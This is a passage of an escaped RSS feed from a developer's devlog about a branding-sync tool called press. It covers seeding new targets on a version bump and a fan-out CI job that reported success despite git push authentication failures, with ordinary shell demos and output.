&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`pin raised to ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;bumpOnly&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;  (--bump-only)&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Watch it break, then not break&lt;/h2&gt;
&lt;p&gt;Set up a consumer sitting happily on 0.7.0, and a registry where 0.7.1 declares a README badge it has never had. Note that &lt;code&gt;theme&lt;/code&gt; has no &lt;code&gt;init&lt;/code&gt; anchor and &lt;code&gt;readme-badge&lt;/code&gt; does:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; targets.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &quot;version&quot;: &quot;0.7.1&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &quot;targets&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;id&quot;: &quot;theme&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;path&quot;: &quot;brand.css&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;syntax&quot;: &quot;css&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;body&quot;: &quot;  --accent: #E8501F;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;id&quot;: &quot;readme-badge&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;path&quot;: &quot;README.md&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;syntax&quot;: &quot;md&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;body&quot;: &quot;![brand](https://img.shields.io/badge/brand-{version}-E8501F)&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &quot;init&quot;: { &quot;insertAfter&quot;: &quot;^# &quot; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer/.github/workflows&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer/brand.css&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/* &gt;&gt;&gt; brand:theme v0.7.0 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --accent: #E8501F;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/* &amp;#x3C;&amp;#x3C;&amp;#x3C; brand:theme */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.figure { border-color: var(--accent); }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer/README.md&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;# local-fitness&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;A training log that reads your own data.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;      - run: npx -y @acme/brand@0.7.0 check&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer/.github/workflows/ci.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer.orig&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; rollout.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --bump-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check.mjs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  theme         updated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  readme-badge  left missing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pin raised to 0.7.1  (--bump-only)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;checking against pinned 0.7.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ok    theme         in sync&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  FAIL  readme-badge  no region for this target in this checkout&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The consumer did nothing wrong. It received a pull request that raised its pinned version, and its own CI went red inside that pull request, on a target it had never heard of. Now seed and bump together:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;rm&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -rf&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer.orig&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; rollout.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check.mjs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer/README.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  theme         updated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  readme-badge  seeded&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pin raised to 0.7.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;checking against pinned 0.7.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ok    theme         in sync&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ok    readme-badge  in sync&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# local-fitness&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;!-- &gt;&gt;&gt; brand:readme-badge v0.7.1 --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;![brand](https://img.shields.io/badge/brand-0.7.1-E8501F)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;!-- &amp;#x3C;&amp;#x3C;&amp;#x3C; brand:readme-badge --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;A training log that reads your own data.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same pull request, same pin bump, green check, and the badge landed under the title instead of at the bottom.&lt;/p&gt;
&lt;h2&gt;Don’t let seeding become resurrection&lt;/h2&gt;
&lt;p&gt;Seeding sounds like something you’d want unconditionally, and that’s the trap. A region that a maintainer deleted on purpose looks byte-for-byte identical to one that was never created, so a tool that always seeds will keep restoring a thing someone keeps removing, and neither side ever finds out they disagree.&lt;/p&gt;
&lt;p&gt;That’s what the anchor is for: it isn’t only a placement hint, it’s the target declaring that it’s allowed to be created. &lt;code&gt;theme&lt;/code&gt; doesn’t have one, so delete its region and watch:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;brand:theme&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer/brand.css&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; grep&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;--accent&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; t&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mv&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer/brand.css&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; rollout.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check.mjs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  theme         MISSING, not seedable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  readme-badge  updated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pin raised to 0.7.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;checking against pinned 0.7.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  FAIL  theme         no region for this target in this checkout&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ok    readme-badge  in sync&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reported, not recreated. A human decides which of the two situations this is, which is correct, because the tool genuinely cannot know.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A new requirement breaks consumers at &lt;em&gt;their&lt;/em&gt; upgrade, not at your release.&lt;/strong&gt; Because nothing goes wrong when you ship, this failure arrives detached from its cause. Symptom: your release is green, and some time later a consumer’s unrelated pull request is red for reasons its author cannot explain, since the breaking change is a version number in a file they didn’t touch. press hit this on the release immediately before this one, and both pull requests it had opened against one consumer failed on arrival. The escape is to have the pull request that raises the version also supply what the version now requires, so the consumer never sits in the broken state.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A version recorded but never compared is decoration.&lt;/strong&gt; Writing the release into a marker makes the artifact look self-describing, and it is genuinely useful in a diff. It is not a check. Symptom: values are correct, everything passes, and the recorded version quietly falls years behind, which press did for six consecutive releases with regions still stamped &lt;code&gt;v0.1.0&lt;/code&gt;. The escape is a distinct status for it: compare the recorded version to the pin, report &lt;code&gt;stale-version&lt;/code&gt; separately from a content difference, and print the command that fixes it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Automation that creates missing state will eventually recreate deleted state.&lt;/strong&gt; “Missing” and “deliberately removed” are the same observation, and the more helpful your tool is about the first, the more reliably it will undo the second. Symptom: a maintainer removes something, it comes back on the next release, they remove it again, and nobody escalates because each individual instance looks like a glitch. The escape is to require an explicit declaration before creating anything, as the &lt;code&gt;init&lt;/code&gt; anchor does here, and to fail loudly on the targets that don’t carry one rather than treating absence as an invitation.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://semver.org/&quot;&gt;Semantic Versioning&lt;/a&gt; — the MAJOR-bump rule for backward-incompatible changes, and why a warning isn’t a fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/bliki/ParallelChange.html&quot;&gt;Martin Fowler: Parallel Change&lt;/a&gt; — expand, migrate, contract, and why changing an interface and its usages at once is hard&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/reference/using-api/deprecation-policy/&quot;&gt;Kubernetes deprecation policy&lt;/a&gt; — the same guarantee written as calendar rules for consumers you cannot reach into&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(press): seed new targets, enforce the version, badge the in-repo skills (0.7.1) (#135) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/25b2db89df0838a5f03209520686322dae8dd6cd&quot;&gt;25b2db8&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.7.1.png" length="35115" type="image/png"/></item><item><title>Zero of four consumers updated, and the job went green</title><link>https://natejswenson.com/devlog/press/v0.6.1/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.6.1/</guid><description>A fan-out that pushes to several repositories has two ways to lie: it can fail to authenticate while every other step still works, and it can count those failures and exit zero anyway. Both shipped here.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;press 0.6.1 fixed two failures in the job that pushes a brand change out to every consumer repository, and the second one was worse than the first.&lt;/p&gt;
&lt;p&gt;The first: &lt;code&gt;gh&lt;/code&gt; authenticates its own API calls from &lt;code&gt;GH_TOKEN&lt;/code&gt;, so cloning each consumer and reading its default branch worked fine. A plain &lt;code&gt;git push&lt;/code&gt; does not use &lt;code&gt;GH_TOKEN&lt;/code&gt;. It has no credential helper, so it asks for a username and dies on a runner. All four consumers failed that way on the 0.6.0 release.&lt;/p&gt;
&lt;p&gt;The second: that failure had been deliberately downgraded to a warning, on the reasoning that the release itself had already happened and the weekly run would retry. So the job reported success while propagating to nobody. This guide is about building the loop that can’t do that, and the test that keeps it honest.&lt;/p&gt;
&lt;h2&gt;The half-authenticated runner&lt;/h2&gt;
&lt;p&gt;This one is worth understanding rather than just pasting the fix, because the symptom is so lopsided. Give a job a &lt;code&gt;GH_TOKEN&lt;/code&gt; and most of what you do with GitHub works immediately: &lt;code&gt;gh repo clone&lt;/code&gt;, &lt;code&gt;gh api&lt;/code&gt;, &lt;code&gt;gh pr create&lt;/code&gt;. All of those are &lt;code&gt;gh&lt;/code&gt; talking to the API with the token it was handed.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git&lt;/code&gt; is a different program. It doesn’t read &lt;code&gt;GH_TOKEN&lt;/code&gt;, and an HTTPS remote with no credential helper falls back to prompting, which on a runner means failing with &lt;code&gt;could not read Username for &apos;https://github.com&apos;&lt;/code&gt;. The fix is one line, because the GitHub CLI ships a command whose entire job is bridging exactly this gap: &lt;a href=&quot;https://cli.github.com/manual/gh_auth_setup-git&quot;&gt;&lt;code&gt;gh auth setup-git&lt;/code&gt;&lt;/a&gt; “configures &lt;code&gt;git&lt;/code&gt; to use GitHub CLI as a credential helper.”&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- run: |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    gh auth setup-git      # without this, every push fails and everything else works&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    ./fanout.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  env:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    GH_TOKEN: ${{ secrets.PROPAGATE_TOKEN }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;A stand-in for the push&lt;/h2&gt;
&lt;p&gt;To build the loop without a real runner, here’s a script that fails the same way. Save it as &lt;code&gt;push_to.sh&lt;/code&gt; and &lt;code&gt;chmod +x&lt;/code&gt; it:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Stands in for `git push` inside a fan-out. It fails exactly the way a real&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# one does on a runner where no credential helper has been configured.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-z&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GIT_CREDENTIAL_HELPER&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:-&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;fatal: could not read Username for &apos;https://github.com&apos;: No such device or address&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&amp;#x26;2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  exit&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 128&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;
